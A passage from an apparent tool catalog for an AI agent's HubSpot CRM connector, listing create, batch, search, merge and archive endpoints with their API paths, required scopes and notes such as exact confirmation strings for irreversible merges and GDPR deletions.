agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls POST /crm/v3/objects/{objectType}/search on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.read, crm.objects.companies.read, crm.objects.deals.read, tickets, crm.objects.line_items.read, crm.objects.quotes.read, crm.objects.custom.read. POST /api/v1/hubspot/crm/v3/objects/{objectType}/search. Scopes: crm.objects.companies.read, crm.objects.contacts.read, crm.objects.custom.read, crm.objects.deals.read, crm.objects.line_items.read, crm.objects.quotes.read, tickets. hubspot_post_crm_v3_objects_calls (write) — Create. Create a call with the given properties and return a copy of the object, including the ID. Documentation and examples for creating standard calls is provided. Call engagements: logged calls with their disposition, duration and recording metadata. Gated on the contacts scope. Calls POST /crm/v3/objects/calls on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/calls. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_calls_batch_archive (write, destructive) — DESTRUCTIVE. Archive a batch of calls by ID. Archive a batch of calls by ID. Deleted calls can be restored within 90 days of being deleted, but call recordings recording will be permanently deleted. Learn more about [restoring activity records](https://knowledge.hubspot.com/records/restore-deleted-activity-in-a-record). Call engagements: logged calls with their disposition, duration and recording metadata. Gated on the contacts scope. The inverse is the batch create on the same object family. Calls POST /crm/v3/objects/calls/batch/archive on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/calls/batch/archive. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_calls_batch_create (write) — Create a batch of calls. Create a batch of calls. The `inputs` array can contain a `properties` object to define property values for each record, along with an `associations` array to define [associations](https://developers.hubspot.com/docs/guides/api/crm/associations/associations-v4) with other CRM records. Call engagements: logged calls with their disposition, duration and recording metadata. Gated on the contacts scope. Calls POST /crm/v3/objects/calls/batch/create on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/calls/batch/create. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_calls_batch_read (read) — Read a batch of calls by internal ID, or unique property values. Retrieve a batch of calls by ID. Call engagements: logged calls with their disposition, duration and recording metadata. Gated on the contacts scope. Calls POST /crm/v3/objects/calls/batch/read on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. POST /api/v1/hubspot/crm/v3/objects/calls/batch/read. Scopes: crm.objects.contacts.read. hubspot_post_crm_v3_objects_calls_batch_update (write) — Update a batch of calls by internal ID, or unique property values. Update a batch of calls by ID. Call engagements: logged calls with their disposition, duration and recording metadata. Gated on the contacts scope. Calls POST /crm/v3/objects/calls/batch/update on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/calls/batch/update. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_calls_batch_upsert (write) — Create or update a batch of calls by unique property values. Create or update records identified by a unique property value as specified by the `idProperty` query param. `idProperty` query param refers to a property whose values are unique for the object. Call engagements: logged calls with their disposition, duration and recording metadata. Gated on the contacts scope. Calls POST /crm/v3/objects/calls/batch/upsert on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/calls/batch/upsert. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_calls_search (read) — Search for calls. Search for calls by filtering on properties, searching through associations, and sorting results. Learn more about [CRM search](https://developers.hubspot.com/docs/guides/api/crm/search#make-a-search-request). Call engagements: logged calls with their disposition, duration and recording metadata. Gated on the contacts scope. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls POST /crm/v3/objects/calls/search on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. POST /api/v1/hubspot/crm/v3/objects/calls/search. Scopes: crm.objects.contacts.read. hubspot_post_crm_v3_objects_carts (write) — Create a cart. Create a cart with the given properties and return a copy of the object, including the ID. Documentation and examples for creating standard carts is provided. Carts are the Commerce Hub basket object. Calls POST /crm/v3/objects/carts on api.hubapi.com. Requires the HubSpot scope crm.objects.carts.write. POST /api/v1/hubspot/crm/v3/objects/carts. Scopes: crm.objects.carts.write. hubspot_post_crm_v3_objects_carts_batch_archive (write, destructive) — DESTRUCTIVE. Archive a batch of carts by ID. Archive a batch of carts identified by their IDs. Carts are the Commerce Hub basket object. The inverse is the batch create on the same object family. Calls POST /crm/v3/objects/carts/batch/archive on api.hubapi.com. Requires the HubSpot scope crm.objects.carts.write. POST /api/v1/hubspot/crm/v3/objects/carts/batch/archive. Scopes: crm.objects.carts.write. hubspot_post_crm_v3_objects_carts_batch_create (write) — Create a batch of carts. Create a batch of carts with specified properties and associations. Carts are the Commerce Hub basket object. Calls POST /crm/v3/objects/carts/batch/create on api.hubapi.com. Requires the HubSpot scope crm.objects.carts.write. POST /api/v1/hubspot/crm/v3/objects/carts/batch/create. Scopes: crm.objects.carts.write. hubspot_post_crm_v3_objects_carts_batch_read (read) — Read a batch of carts by internal ID, or unique property values. Retrieve records by record ID or include the `idProperty` parameter to retrieve records by a custom unique value property. Carts are the Commerce Hub basket object. Calls POST /crm/v3/objects/carts/batch/read on api.hubapi.com. Requires the HubSpot scope crm.objects.carts.read. POST /api/v1/hubspot/crm/v3/objects/carts/batch/read. Scopes: crm.objects.carts.read. hubspot_post_crm_v3_objects_carts_batch_update (write) — Update a batch of carts by internal ID, or unique property values. Update a batch of carts using their internal IDs or unique property values. Carts are the Commerce Hub basket object. Calls POST /crm/v3/objects/carts/batch/update on api.hubapi.com. Requires the HubSpot scope crm.objects.carts.write. POST /api/v1/hubspot/crm/v3/objects/carts/batch/update. Scopes: crm.objects.carts.write. hubspot_post_crm_v3_objects_carts_batch_upsert (write) — Create or update a batch of carts by unique property values. Create or update records identified by a unique property value as specified by the `idProperty` query param. `idProperty` query param refers to a property whose values are unique for the object. Carts are the Commerce Hub basket object. Calls POST /crm/v3/objects/carts/batch/upsert on api.hubapi.com. Requires the HubSpot scope crm.objects.carts.write. POST /api/v1/hubspot/crm/v3/objects/carts/batch/upsert. Scopes: crm.objects.carts.write. hubspot_post_crm_v3_objects_carts_search (read) — Search for carts. Search for carts based on the specified search criteria, such as filters and properties, and retrieve the matching results. Carts are the Commerce Hub basket object. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls POST /crm/v3/objects/carts/search on api.hubapi.com. Requires the HubSpot scope crm.objects.carts.read. POST /api/v1/hubspot/crm/v3/objects/carts/search. Scopes: crm.objects.carts.read. hubspot_post_crm_v3_objects_commerce_payments (write) — Create. Create a commerce payment with the given properties and return a copy of the object, including the ID. Documentation and examples for creating standard commerce payments is provided. Payments recorded against invoices, subscriptions and payment links. Calls POST /crm/v3/objects/commerce_payments on api.hubapi.com. Requires the HubSpot scope crm.objects.commercepayments.write. POST /api/v1/hubspot/crm/v3/objects/commerce_payments. Scopes: crm.objects.commercepayments.write. hubspot_post_crm_v3_objects_commerce_payments_batch_archive (write, destructive) — DESTRUCTIVE. Archive a batch of commerce payments by ID. Archive a batch of commerce payments by their IDs. This operation moves the specified payments to the archive, making them inactive in the system. Payments recorded against invoices, subscriptions and payment links. The inverse is the batch create on the same object family. Calls POST /crm/v3/objects/commerce_payments/batch/archive on api.hubapi.com. Requires the HubSpot scope crm.objects.commercepayments.write. POST /api/v1/hubspot/crm/v3/objects/commerce_payments/batch/archive. Scopes: crm.objects.commercepayments.write. hubspot_post_crm_v3_objects_commerce_payments_batch_create (write) — Create a batch of commerce payments. Create multiple commerce payment records in a single request, returning the details of each created payment, including their unique IDs. Payments recorded against invoices, subscriptions and payment links. Calls POST /crm/v3/objects/commerce_payments/batch/create on api.hubapi.com. Requires the HubSpot scope crm.objects.commercepayments.write. POST /api/v1/hubspot/crm/v3/objects/commerce_payments/batch/create. Scopes: crm.objects.commercepayments.write. hubspot_post_crm_v3_objects_commerce_payments_batch_read (read) — Read a batch of commerce payments by internal ID, or unique property values. Retrieve records by record ID or include the `idProperty` parameter to retrieve records by a custom unique value property. Payments recorded against invoices, subscriptions and payment links. Calls POST /crm/v3/objects/commerce_payments/batch/read on api.hubapi.com. Requires the HubSpot scope crm.objects.commercepayments.read. POST /api/v1/hubspot/crm/v3/objects/commerce_payments/batch/read. Scopes: crm.objects.commercepayments.read. hubspot_post_crm_v3_objects_commerce_payments_batch_update (write) — Update a batch of commerce payments by internal ID, or unique property values. Update multiple commerce payment records using their internal IDs or unique property values. This operation allows you to modify existing payment records in bulk by providing a list of records with their respective IDs and updated property values. Payments recorded against invoices, subscriptions and payment links. Calls POST /crm/v3/objects/commerce_payments/batch/update on api.hubapi.com. Requires the HubSpot scope crm.objects.commercepayments.write. POST /api/v1/hubspot/crm/v3/objects/commerce_payments/batch/update. Scopes: crm.objects.commercepayments.write. hubspot_post_crm_v3_objects_commerce_payments_batch_upsert (write) — Create or update a batch of commerce payments by unique property values. Create or update records identified by a unique property value as specified by the `idProperty` query param. `idProperty` query param refers to a property whose values are unique for the object. Payments recorded against invoices, subscriptions and payment links. Calls POST /crm/v3/objects/commerce_payments/batch/upsert on api.hubapi.com. Requires the HubSpot scope crm.objects.commercepayments.write. POST /api/v1/hubspot/crm/v3/objects/commerce_payments/batch/upsert. Scopes: crm.objects.commercepayments.write. hubspot_post_crm_v3_objects_commerce_payments_search (read) — Search for commerce payments using specified criteria. Execute a search for commerce payments based on the provided filter groups, properties, and sorting options. This endpoint allows for complex queries to retrieve specific payment records from the CRM. Payments recorded against invoices, subscriptions and payment links. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls POST /crm/v3/objects/commerce_payments/search on api.hubapi.com. Requires the HubSpot scope crm.objects.commercepayments.read. POST /api/v1/hubspot/crm/v3/objects/commerce_payments/search. Scopes: crm.objects.commercepayments.read. hubspot_post_crm_v3_objects_communications (write) — Create. Create a communication with the given properties and return a copy of the object, including the ID. Documentation and examples for creating standard communications is provided. Communications are the SMS, WhatsApp and LinkedIn message engagements. Gated on the contacts scope. Calls POST /crm/v3/objects/communications on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/communications. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_communications_batch_archive (write, destructive) — DESTRUCTIVE. Archive a batch of communications by ID. Delete a batch of messages by ID. A deleted message can be restored within 90 days of being deleted. Learn more about [restoring activity records](https://knowledge.hubspot.com/records/restore-deleted-activity-in-a-record). Communications are the SMS, WhatsApp and LinkedIn message engagements. Gated on the contacts scope. The inverse is the batch create on the same object family. Calls POST /crm/v3/objects/communications/batch/archive on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/communications/batch/archive. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_communications_batch_create (write) — Create a batch of communications. Create a batch of messages. The `inputs` array can contain a `properties` object to define property values for each message, along with an `associations` array to define [associations](https://developers.hubspot.com/docs/guides/api/crm/associations/associations-v4) with other CRM records. Communications are the SMS, WhatsApp and LinkedIn message engagements. Gated on the contacts scope. Calls POST /crm/v3/objects/communications/batch/create on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/communications/batch/create. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_communications_batch_read (read) — Read a batch of communications by internal ID, or unique property values. Retrieve a batch of messages by ID (`communicationId`) or unique property value (`idProperty`). Communications are the SMS, WhatsApp and LinkedIn message engagements. Gated on the contacts scope. Calls POST /crm/v3/objects/communications/batch/read on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. POST /api/v1/hubspot/crm/v3/objects/communications/batch/read. Scopes: crm.objects.contacts.read. hubspot_post_crm_v3_objects_communications_batch_update (write) — Update a batch of communications by internal ID, or unique property values. Update a batch of messages by ID (`communicationId`) or unique property value (`idProperty`). Provided property values will be overwritten. Read-only and non-existent properties will result in an error. Properties values can be cleared by passing an empty string. Communications are the SMS, WhatsApp and LinkedIn message engagements. Gated on the contacts scope. Calls POST /crm/v3/objects/communications/batch/update on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/communications/batch/update. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_communications_batch_upsert (write) — Create or update a batch of communications by unique property values. Create or update records identified by a unique property value as specified by the `idProperty` query param. `idProperty` query param refers to a property whose values are unique for the object. Communications are the SMS, WhatsApp and LinkedIn message engagements. Gated on the contacts scope. Calls POST /crm/v3/objects/communications/batch/upsert on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/communications/batch/upsert. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_communications_search (read) — Search for messages. Search for messages by filtering on properties, searching through associations, and sorting results. Learn more about [CRM search](https://developers.hubspot.com/docs/guides/api/crm/search#make-a-search-request). Communications are the SMS, WhatsApp and LinkedIn message engagements. Gated on the contacts scope. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls POST /crm/v3/objects/communications/search on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. POST /api/v1/hubspot/crm/v3/objects/communications/search. Scopes: crm.objects.contacts.read. hubspot_post_crm_v3_objects_companies (write) — Create a company. Create a single company. Include a `properties` object to define [property values](https://developers.hubspot.com/docs/guides/api/crm/properties) for the company, along with an `associations` array to define [associations](https://developers.hubspot.com/docs/guides/api/crm/associations/associations-v4) with other CRM records. Companies are the organisations contacts belong to. A company id is what associates a deal with an account. Calls POST /crm/v3/objects/companies on api.hubapi.com. Requires the HubSpot scope crm.objects.companies.write. POST /api/v1/hubspot/crm/v3/objects/companies. Scopes: crm.objects.companies.write. hubspot_post_crm_v3_objects_companies_batch_archive (write, destructive) — DESTRUCTIVE. Archive a batch of companies. Delete a batch of companies by ID. Deleted companies can be restored within 90 days of deletion. Learn more about [restoring records](https://knowledge.hubspot.com/records/restore-deleted-records). Companies are the organisations contacts belong to. A company id is what associates a deal with an account. The inverse is the batch create on the same object family. Calls POST /crm/v3/objects/companies/batch/archive on api.hubapi.com. Requires the HubSpot scope crm.objects.companies.write. POST /api/v1/hubspot/crm/v3/objects/companies/batch/archive. Scopes: crm.objects.companies.write. hubspot_post_crm_v3_objects_companies_batch_create (write) — Create a batch of companies. Create a batch of companies. The `inputs` array can contain a `properties` object to define property values for each company, along with an `associations` array to define [associations](https://developers.hubspot.com/docs/guides/api/crm/associations/associations-v4) with other CRM records. Companies are the organisations contacts belong to. A company id is what associates a deal with an account. Calls POST /crm/v3/objects/companies/batch/create on api.hubapi.com. Requires the HubSpot scope crm.objects.companies.write. POST /api/v1/hubspot/crm/v3/objects/companies/batch/create. Scopes: crm.objects.companies.write. hubspot_post_crm_v3_objects_companies_batch_read (read) — Retrieve a batch of companies. Retrieve a batch of companies by ID (`companyId`) or by a unique property (`idProperty`). You can specify what is returned using the `properties` query parameter. Companies are the organisations contacts belong to. A company id is what associates a deal with an account. Calls POST /crm/v3/objects/companies/batch/read on api.hubapi.com. Requires the HubSpot scope crm.objects.companies.read. POST /api/v1/hubspot/crm/v3/objects/companies/batch/read. Scopes: crm.objects.companies.read. hubspot_post_crm_v3_objects_companies_batch_update (write) — Update a batch of companies. Update a batch of companies by ID. Companies are the organisations contacts belong to. A company id is what associates a deal with an account. Calls POST /crm/v3/objects/companies/batch/update on api.hubapi.com. Requires the HubSpot scope crm.objects.companies.write. POST /api/v1/hubspot/crm/v3/objects/companies/batch/update. Scopes: crm.objects.companies.write. hubspot_post_crm_v3_objects_companies_batch_upsert (write) — Create or update a batch of companies by unique property values. Create or update companies identified by a unique property value as specified by the `idProperty` query parameter. `idProperty` query param refers to a property whose values are unique for the object. Companies are the organisations contacts belong to. A company id is what associates a deal with an account. Calls POST /crm/v3/objects/companies/batch/upsert on api.hubapi.com. Requires the HubSpot scope crm.objects.companies.write. POST /api/v1/hubspot/crm/v3/objects/companies/batch/upsert. Scopes: crm.objects.companies.write. hubspot_post_crm_v3_objects_companies_merge (write, destructive) — DESTRUCTIVE. Merge two companies. Merge two company records. Learn more about [merging records](https://knowledge.hubspot.com/records/merge-records). Companies are the organisations contacts belong to. A company id is what associates a deal with an account. There is NO un-merge. HubSpot cannot separate merged records afterwards. Requires confirm="merge-records-irreversibly" - that exact string. A boolean is not a control against a model that has already decided to call the tool. Calls POST /crm/v3/objects/companies/merge on api.hubapi.com. Requires the HubSpot scope crm.objects.companies.write. POST /api/v1/hubspot/crm/v3/objects/companies/merge. Scopes: crm.objects.companies.write. hubspot_post_crm_v3_objects_companies_search (read) — Search for companies. Search for companies by filtering on properties, searching through associations, and sorting results. Learn more about [CRM search](https://developers.hubspot.com/docs/guides/api/crm/search#make-a-search-request). Companies are the organisations contacts belong to. A company id is what associates a deal with an account. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls POST /crm/v3/objects/companies/search on api.hubapi.com. Requires the HubSpot scope crm.objects.companies.read. POST /api/v1/hubspot/crm/v3/objects/companies/search. Scopes: crm.objects.companies.read. hubspot_post_crm_v3_objects_contacts (write) — Create a contact. Create a single contact. Include a `properties` object to define [property values](https://developers.hubspot.com/docs/guides/api/crm/properties) for the contact, along with an `associations` array to define [associations](https://developers.hubspot.com/docs/guides/api/crm/associations/associations-v4) with other CRM records. Contacts are people. Every engagement, list membership and deal association hangs off a contact id, so the contact reads are usually the first call of a HubSpot session. Calls POST /crm/v3/objects/contacts on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/contacts. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_contacts_batch_archive (write, destructive) — DESTRUCTIVE. Archive a batch of contacts. Archive a batch of contacts by ID. Archived contacts can be restored within 90 days of deletion. Learn more about the [data impacted by contact deletions](https://knowledge.hubspot.com/privacy-and-consent/understand-restorable-and-permanent-contact-deletions) and how to [restore archived records](https://knowledge.hubspot.com/records/restore-deleted-records). Contacts are people. Every engagement, list membership and deal association hangs off a contact id, so the contact reads are usually the first call of a HubSpot session. The inverse is the batch create on the same object family. Calls POST /crm/v3/objects/contacts/batch/archive on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/contacts/batch/archive. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_contacts_batch_create (write) — Create a batch of contacts. Create a batch of contacts. The `inputs` array can contain a `properties` object to define property values for each record, along with an `associations` array to define [associations](https://developers.hubspot.com/docs/guides/api/crm/associations/associations-v4) with other CRM records. Contacts are people. Every engagement, list membership and deal association hangs off a contact id, so the contact reads are usually the first call of a HubSpot session. Calls POST /crm/v3/objects/contacts/batch/create on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/contacts/batch/create. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_contacts_batch_read (read) — Retrieve a batch of contacts. Retrieve a batch of contacts by ID (`contactId`) or unique property value (`idProperty`). Contacts are people. Every engagement, list membership and deal association hangs off a contact id, so the contact reads are usually the first call of a HubSpot session. Calls POST /crm/v3/objects/contacts/batch/read on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. POST /api/v1/hubspot/crm/v3/objects/contacts/batch/read. Scopes: crm.objects.contacts.read. hubspot_post_crm_v3_objects_contacts_batch_update (write) — Update a batch of contacts. Update a batch of contacts by ID (`contactId`) or unique property value (`idProperty`). Provided property values will be overwritten. Read-only and non-existent properties will result in an error. Properties values can be cleared by passing an empty string. Contacts are people. Every engagement, list membership and deal association hangs off a contact id, so the contact reads are usually the first call of a HubSpot session. Calls POST /crm/v3/objects/contacts/batch/update on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/contacts/batch/update. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_contacts_batch_upsert (write) — Create or update a batch of contacts. Upsert a batch of contacts. The `inputs` array can contain a `properties` object to define property values for each record. Contacts are people. Every engagement, list membership and deal association hangs off a contact id, so the contact reads are usually the first call of a HubSpot session. Calls POST /crm/v3/objects/contacts/batch/upsert on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/contacts/batch/upsert. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_contacts_gdpr_delete (write, destructive) — DESTRUCTIVE. Permanently delete a contact (GDPR-compliant). Permanently delete a contact and all associated content to follow GDPR. Use optional property `idProperty` set to `email` to identify contact by email address. If email address is not found, the email address will be added to a blocklist and prevent it from being used in the future. Learn more about [permanently deleting contacts](https://knowledge.hubspot.com/privacy-and-consent/how-do-i-perform-a-gdpr-delete-in-hubspot). Contacts are people. Every engagement, list membership and deal association hangs off a contact id, so the contact reads are usually the first call of a HubSpot session. There is NO undo and no recovery: HubSpot erases the person permanently and refuses to re-create them from the same email address, which is blocklisted from then on. Requires confirm="erase-this-person-permanently" - that exact string. A boolean is not a control against a model that has already decided to call the tool. Calls POST /crm/v3/objects/contacts/gdpr-delete on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/contacts/gdpr-delete. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_contacts_merge (write, destructive) — DESTRUCTIVE. Merge two contacts. Merge two contact records. Learn more about [merging records](https://knowledge.hubspot.com/records/merge-records). Contacts are people. Every engagement, list membership and deal association hangs off a contact id, so the contact reads are usually the first call of a HubSpot session. There is NO un-merge. HubSpot cannot separate merged records afterwards. Requires confirm="merge-records-irreversibly" - that exact string. A boolean is not a control against a model that has already decided to call the tool. Calls POST /crm/v3/objects/contacts/merge on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/contacts/merge. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_contacts_search (read) — Search for contacts. Search for contacts by filtering on properties, searching through associations, and sorting results. Learn more about [CRM search](https://developers.hubspot.com/docs/guides/api/crm/search#make-a-search-request). Contacts are people. Every engagement, list membership and deal association hangs off a contact id, so the contact reads are usually the first call of a HubSpot session. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls POST /crm/v3/objects/contacts/search on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. POST /api/v1/hubspot/crm/v3/objects/contacts/search. Scopes: crm.objects.contacts.read. hubspot_post_crm_v3_objects_discounts (write) — Create. Create a discount with the given properties and return a copy of the object, including the ID. Documentation and examples for creating standard discounts is provided. Discounts applied to quotes, invoices and orders. Calls POST /crm/v3/objects/discounts on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.write. POST /api/v1/hubspot/crm/v3/objects/discounts. Scopes: crm.objects.line_items.write. hubspot_post_crm_v3_objects_discounts_batch_archive (write, destructive) — DESTRUCTIVE. Archive a batch of discounts by ID. Archive multiple discounts by their IDs in a single request. This operation moves the specified discounts to the recycling bin, effectively removing them from active use. Discounts applied to quotes, invoices and orders. The inverse is the batch create on the same object family. Calls POST /crm/v3/objects/discounts/batch/archive on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.write. POST /api/v1/hubspot/crm/v3/objects/discounts/batch/archive. Scopes: crm.objects.line_items.write. hubspot_post_crm_v3_objects_discounts_batch_create (write) — Create a batch of discounts. Create multiple discounts in a single request by providing the necessary properties and associations for each discount. This operation returns a list of the created discounts, including their unique identifiers. Discounts applied to quotes, invoices and orders. Calls POST /crm/v3/objects/discounts/batch/create on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.write. POST /api/v1/hubspot/crm/v3/objects/discounts/batch/create. Scopes: crm.objects.line_items.write. hubspot_post_crm_v3_objects_discounts_batch_read (read) — Read a batch of discounts by internal ID, or unique property values. Retrieve records by record ID or include the `idProperty` parameter to retrieve records by a custom unique value property. Discounts applied to quotes, invoices and orders. Calls POST /crm/v3/objects/discounts/batch/read on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.read. POST /api/v1/hubspot/crm/v3/objects/discounts/batch/read. Scopes: crm.objects.line_items.read. hubspot_post_crm_v3_objects_discounts_batch_update (write) — Update a batch of discounts by internal ID, or unique property values. Update multiple discounts by specifying either their internal IDs or unique property values. This operation allows you to modify the properties of several discount records in a single request. Discounts applied to quotes, invoices and orders. Calls POST /crm/v3/objects/discounts/batch/update on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.write. POST /api/v1/hubspot/crm/v3/objects/discounts/batch/update. Scopes: crm.objects.line_items.write. hubspot_post_crm_v3_objects_discounts_batch_upsert (write) — Create or update a batch of discounts by unique property values. Create or update records identified by a unique property value as specified by the `idProperty` query param. `idProperty` query param refers to a property whose values are unique for the object. Discounts applied to quotes, invoices and orders. Calls POST /crm/v3/objects/discounts/batch/upsert on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.write. POST /api/v1/hubspot/crm/v3/objects/discounts/batch/upsert. Scopes: crm.objects.line_items.write. hubspot_post_crm_v3_objects_discounts_search (read) — Search for a discount. Search for discounts by filtering on properties, searching through associations, and sorting results. Learn more about [CRM search](https://developers.hubspot.com/docs/guides/api/crm/search#make-a-search-request). Discounts applied to quotes, invoices and orders. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls POST /crm/v3/objects/discounts/search on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.read. POST /api/v1/hubspot/crm/v3/objects/discounts/search. Scopes: crm.objects.line_items.read. hubspot_post_crm_v3_objects_emails (write) — Create. Create a email with the given properties and return a copy of the object, including the ID. Documentation and examples for creating standard emails is provided. Logged email engagements on a record's timeline. This is the CRM record of an email, not a send: nothing here delivers mail. Gated on the contacts scope. Calls POST /crm/v3/objects/emails on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/emails. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_emails_batch_archive (write, destructive) — DESTRUCTIVE. Archive a batch of emails by ID. Archive a batch of emails identified by their IDs. Logged email engagements on a record's timeline. This is the CRM record of an email, not a send: nothing here delivers mail. Gated on the contacts scope. The inverse is the batch create on the same object family. Calls POST /crm/v3/objects/emails/batch/archive on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/emails/batch/archive. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_emails_batch_create (write) — Create a batch of emails. Create a batch of emails with specified properties and return the created objects. Logged email engagements on a record's timeline. This is the CRM record of an email, not a send: nothing here delivers mail. Gated on the contacts scope. Calls POST 